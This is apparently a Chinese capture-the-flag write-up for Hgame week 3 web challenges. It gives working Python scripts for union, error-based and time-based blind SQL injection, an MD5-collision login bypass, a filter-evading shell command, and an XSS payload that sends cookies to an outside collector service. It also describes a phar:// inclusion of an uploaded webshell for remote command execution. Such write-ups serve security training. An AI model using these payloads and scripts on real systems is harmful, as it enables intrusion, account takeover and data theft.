Hgame_week3_web

sqli-1

一个简单的md5验证。

提交正确的code参数后得到提示 sql error。

同时提交一个id参数得到回显。

写一个交互的脚本方便测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding:utf-8 -*-
# -*- author:altman -*-

import requests
import hashlib
pay="'or 1=1#"
url="http://118.89.111.179:3000/"
cookie={
'PHPSESSID':'dtguasqnchsgj6fnesd2c63v8n'
}
def getcode():
r=requests.get(url=url,cookies=cookie)
ans=''
code=r.content[35:39]
code=str(code)
for i in range(0, 9999999):
if hashlib.md5(str(i)).hexdigest()[0:4] == code:
ans=str(i)
break
return ans

def sql(pay):
code=getcode()
url1=url+"?code="+code+"&id="+pay
r = requests.get(url=url1, cookies=cookie)
print r.content

a="-1 union select (select column_name from information_schema.columns where table_schema='hgame' and table_name='f1l1l1l1g' limit 0,1)%23"
b="-1 union select f14444444g from f1l1l1l1g%23"
sql(b)

最基础的带回显的注入。

sqli-2

上一题的盲注版本,由于只会告诉你sql语句是否执行,所以bool盲注显然不行。

可以使用时间盲注,然而时间盲注太浪费时间,我选择报错盲注。

Payload :1 and if((1=2),exp(999999999),1)#

当if成立时,会执行exp(999999999),造成报错,显示sql error。

当if不成立时,则显示sql已执行。

同样脚本破之。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# -*- coding:utf-8 -*-
# -*- author:altman -*-
import requests
import hashlib
import string
url="http://118.89.111.179:3001/"
cookie={
'PHPSESSID':'dtguasqnchsgj6fnesd2c63v8n'
}
def getcode():
r=requests.get(url=url,cookies=cookie)
ans=''
code=r.content[79:83]
code=str(code)
for i in range(0, 9999999):
if hashlib.md5(str(i)).hexdigest()[0:4] == code:
ans=str(i)
break
return ans

def sql(pay):
code=getcode()
url1=url+"?code="+code+"&id="+pay
r = requests.get(url=url1, cookies=cookie)
return r.content

a="1 and if((1=2),exp(999999999),1)#"
flag=''
for j in range(0,999):
for i in string.letters+'0123456789'+'_{}':
a = "1 and if((ascii(substr((select fL4444Ag from F11111114G limit 0,1),%d,1))=%d),exp(999999999),1)#" %(j,ord(i))
if "error" in sql(a):
flag+=i
print flag
break


#hgame
#F11111114G
#fL4444Ag
#hgame{sqli_1s_s0_s0_s0_s0_interesting}

神器的md5

简单探测后发现源码备份 .login.php.swp

vim -r 恢复后得到源码,这里贴上php的部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
session_start();
error_reporting(0);


if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
{
Press EN$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$code = (string)$_POST['code'];

if (($username == $password ) or ($username == $code) or ($password == $code)) {
echo "Your input can't be the same";
}
else if ((md5($username) === md5($password)) and (md5($password) === md5($code))){
echo "Good";

header('Location: admin.php');
exit();
} else {
echo "<pre> Invalid password</pre>";
}
}

?>

审计后发现由于对参数进行了强转string,不能用数组什么的绕过。

需要强行md5碰撞。

找到了这个项目 https://github.com/thereal1024/python-md5-collision

可以生成许多个md5相同的文件。

首先需要安装boost环境 brew install boost 然后 python3 gen_coll_test.py(mac下)

生成一堆文件out_test_xxx.txt。这些文件的md5值都相同。

写一个脚本POST数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# -*- coding:utf-8 -*-
# -*- author:altman -*-

import requests
url="http://118.25.89.91:8080/question/login.php"

username=open('/Users/a1tm4nz/web/python-md5-collision/out_test_000.txt','r').read()
password=open('/Users/a1tm4nz/web/python-md5-collision/out_test_001.txt','r').read()
code=open('/Users/a1tm4nz/web/python-md5-collision/out_test_002.txt','r').read()

data={
'username':username,
'password':password,
'code':code
}

r=requests.post(url=url,data=data)
print r.content
print r.cookies

此时已经成功登录了,之后用登陆后的cookie去访问admin.php就进入下一层。

给了一个shell,我们直接cat admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
session_start();
error_reporting(0);
?>
<head>
<!-- Matomo -->
<script type="text/javascript">
var _paq = window._paq || [];
/* tracker methods like "setCustomDimension" should be called before "trackPageView" */
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
(function() {
var u="//118.25.89.91/piwik/";
_paq.push(['setTrackerUrl', u+'matomo.php']);
_paq.push(['setSiteId', '1']);
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s);
})();
</script>
<!-- End Matomo Code -->
</head>

<?php

if ($_SESSION["secret"] === 'hgame2019')
{

?>
<form action="" method="post">
Private Terminal <input type="text" name="command"><input type="submit" name="submit">
</form>
<?php
if($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['submit'])){
$cmd = (string)$_POST['command'];
echo "<p>The Command is : $cmd </p>";
echo "</br>";
$cmd = str_replace("flag",'none',$cmd);
echo "<p>Result is :";system($cmd); "</p>";
}
}
else {
echo "<script>alert('Login First')</script>";
header('Location: login.php');
exit();
}

?>

有一个简单的替换操作 ,将’flag’替换为’none’。

直接绕过检测读取flag

cat /'fla''g'

babyxss

基础的xss打cookies。

测试后发现后端采取关键字替换为空的waf策略,我们可以采取双写来绕过。

payload<script src=[url]></scr</script>ipt>

懒得去vps接请求了,使用了xsspt(www.xsspt.com)来获取cookie。

提交后接收到了flag。

基础渗透

登录后简单测试发现了文件包含

http://111.231.140.29:10080/index.php?action=php://filter/read=convert.base64-encode/resource=login

拿下所有源码审计。

在functions.php中看到了所有关键函数。

找到了一个文件上传功能,此时想到上传文件getshell。

简单审计发现由于上传后的文件是由一个rand_filename函数进行命名的。

1
2
3
4
5
6
7
8
9
10
11
function rand_filename()
{
$tmp = `cat /dev/urandom | head -n 10 | md5sum | head -c 15`;
$sql_query = "select `avatar` from `users` where `avatar`=$tmp";
$res = sql_query($sql_query);
if ($res->num_rows) {
return rand_filename();
} else {
return $tmp;
}
}

我们无法预测到文件名。

需要通过注入找到avatar表中的文件名。所有参数传递时都被加上了addslashes。但是在删除功能处存在一个数字型注入,不需要使用引号闭合,所以addslashes没有起到作用。

1
2
3
4
5
6
7
8
9
10
11
12
13
function delete_message($message_id)
{
$user_id = $_SESSION['user_id'];
if ($_POST['token'] === $_SESSION['token']) {
if ($_SESSION['groups'] == 0) {
$sql_query = "delete from `messages` where `message_id`=$message_id and `user_id`=$user_id";
} elseif ($_SESSION['groups'] == 1) {
$sql_query = "delete from `messages` where `message_id`=$message_id";
}
sql_query($sql_query);

}
}

在messge_id处进行注入。

我们先随意上传一张图片,让他生成一个文件名。

通过python脚本,进行注入得到文件名。

Ps:注入时需要有留言存在,所以编写脚本时每次注入前先进行留言。

token会失效,所以每次注入前获取一次最新的token。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding:utf-8 -*-
import requests
import re
url = 'http://111.231.140.29:10080/index.php?action=delete'
url1 = 'http://111.231.140.29:10080/messages_api.php?action=delete'
url2 = 'http://111.231.140.29:10080/messages_api.php?action=add'
cook = {
'PHPSESSID':'dutuigp1v8psgqs84osftj979d',
'user':'altman77',
'groups':'0'
}
data = {
'message_id':'100 or if((select avatar from users where username like 0x25 limit 1) like 0x25,sleep(5),1)-- 1',
'token':'123'
}
data1 = {
'new_message':'just a test!!!',
'token':'123'
}
head = {
'Origin':'http://111.231.140.29:10080',
'X-Requested-With':'XMLHttpRequest',
'Referer':'http://111.231.140.29:10080/index.php?action=message'
}
flag = ''
for x in range(1,100):
print x
for y in (33,127):
f = requests.get(url,cookies=cook,headers=head)
token = re.findall("""value='(.*?)' id='token'>""",f.content)[0]
data1['token'] = token
g = requests.post(url2,data1,cookies=cook,headers=head)
f = requests.get(url,cookies=cook,headers=head)
token = re.findall("""value='(.*?)' id='token'>""",f.content)[0]
data['token'] = token
data['message_id'] = '1800 or if(ascii(substr((select avatar from users where username like 0x616c746d616e3737),%s,1))=%s,sleep(5),1)-- 1'%(str(x),y)
try:
g = requests.post(url1,data,cookies=cook,headers=head,timeout=3)
except:
flag += chr(y)
print flag
break

顺利拿到我这个账号随机生成的文件名672bf75b776852d。

由于文件包含处强制拼接了php后缀

1
2
3
4
$page = array_key_exists('action', $_GET) ? $_GET['action'] : 'message';
require $page .'.php';
include_once("template/footer.php");
?>

无法直接包含文件getshell。

这里想到利用phar协议。

将一句话木马文件index.php压缩成一个zip,抓包修改type为image/png将zip文件上传。然后利用phar协议包含文件getshell。

?action=phar://./img/avatar/672bf75b776852d.png/index

拿到shell后经过一番搜寻后找到flag

1
http://111.231.140.29:10080/index.php?action=phar://./img/avatar/672bf75b776852d.png/1&a=/usr/lib/flag/get_flag%20/usr/lib/flag/flag